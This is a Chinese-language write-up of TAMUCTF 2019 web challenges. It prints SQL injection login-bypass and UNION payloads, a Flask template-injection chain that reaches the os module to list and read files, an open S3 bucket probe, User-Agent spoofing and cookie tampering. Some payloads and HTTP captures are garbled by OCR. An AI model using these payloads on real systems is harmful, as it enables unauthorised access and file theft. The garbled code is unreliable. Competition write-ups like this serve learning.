TAMUCTF2019 web writeup



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Not Another SQLi Challenge

万能密码 payload: username=admin&password=1'or 1=1#

Buckets

针对BUCKET的探针,使用浏览器打开Amazon提供的自动分配的S3 URL,格式为http://bucketname.s3.amazonaws.com 也就是 修改url为http://tamuctf.s3.amazonaws.com/获得一个不受访问权限的bucket,找到关键文档 Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt,获得flag。 学习资料:https://www.freebuf.com/articles/web/135313.html

Science!

直接给出提示flask,判断是ssti模板注入。测试注入点Chemical1,payload1. {{config}},注入存在

step1:1. {{[].__class__._base__.__subclasses__()}}访问所有模块得到catch_warnings位置。

step2: {{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}} 得到linecache,可以访问os模块 了。

step3: {{[].__class__._base__._subclasses__()

[59].__init__.func_globals['linecache'].__dict__['os'].listdir('.')}} 查看所有文件,得到flag.txt。

step4:1. {{[].__class__._base__._subclasses__()

[59].__init__.func_globals['linecache'].__dict__['os'].read([].__class__.__base__.__subclasses__()

[59].__init__.func_globals['linecache'].__dict__['os'].open("flag.txt",[].__class__.__base__.__subclasses__()
[59].__init__.func_globals['linecache'].__dict__['os'].O_RDONLY),40)}} 得到flag。

Robots Rule

提到robots,查看robots.txt

User-agent: *

WHAT IS UP, MY FELLOW HUMAN! HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?! YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

想让我们伪造成一个googlebot,百度一个googlebot的useragent

user agent - useragent googlebot using selenium - Stack

查看此网页的中文翻译, 请点击 <u>翻译此页</u> ("User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); // open a page to get the traffic selenium.open(... https://stackoverflow.com/ques... ▼ - 百度快照

改一下user-agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")

GET /robots.txt HTTP/1.1	A H	HTTP/1.1 200 OK
Host: web5.tamuctf.com		Server: nginx/1.15.8
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1;	I	Date: Tue, 05 Mar 2019 13:40:46 GMT
+http://www.google.com/bot.html)″)	(Content-Type: text/plain;charset=UTF-8
Accept:	(Content-Length: 131
text/html, application/xhtml+xml, application/xml;q=0.9	(Connection: keep-alive
, */*; q=0. 8	2	X-Powered-By: PHP/7.0.33
Accept-Language:	7	Vary: Accept-Encoding
zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, e		
n;q=0.2	τ	User-agent: *
Accept-Encoding: gzip, deflate		
Connection: keep-alive	1	THE HUMANS SUSPECT NOTHING!
Upgrade-Insecure-Requests: 1	H	HERE IS THE SECRET INFORMATION:
	1	gigem{be3p-b0op_rob0tz_4-1yfe}
]	LONG LIVE THE GOOGLEBOTS! The style of the state of the s

Many Gig'ems to you!

一个拼接的flag

```
<img src="gigs.png" alt="gigem{flag_in_">
```

```
<img src="cookie.jpg" alt="gigem{continued ==
source_and_">
```

Cookie: gigem_continue=cookies};

```
得到flag: gigem{flag_in_source_and_}
```

Bird Box Challenge

开始的时候,使用了 -1'union select database()# 等一系列的语句读出库名,表名等一系列数据,但是都没有什么价值。库 名: SqliDB,表名: Search,列名: items,查询内容: Eggs,Trucks,Aggies 最后google了一下writeup,看到flag藏到了user()当中,真的是没有想到... payload: -1'union select user()#

gigem{w3_4r3_th3_4ggi3s}@localhost

1337 Secur1ty

开始的时候注册完就直接点开了message,是一个类似于guestbook的界面,下意识地反应这应该是一个关于xss的问题,但是邮件发不出去...,用burp抓取登陆的界面,看到了Cookie当中的userid和secret,userid应当是修改为1了,但是secret却不知道应该修改为何值。





ans S ans Sec ans Sec ans Secr ans Secre ans Secret

ans W ans WI ans WIF ans WIFH ans WIFHX ans WIFHXD ans WIFHXDZ ans WIFHXDZ3 ans WIFHXDZ3B ans WIFHXDZ3B0 ans WIFHXDZ3BOH ans WIFHXDZ3B0HJ ans WIFHXDZ3BOHJM ans WIFHXDZ3B0HJMJ ans WIFHXDZ3B0HJMJS ans WIFHXDZ3BOHJMJSC

burp修改一下cookie,得到flag。

Cookie: userid=1; secret=WIFHXDZ3B0HJMJSC Connection: keep-alive Upgrade-Insecure-Requests: 1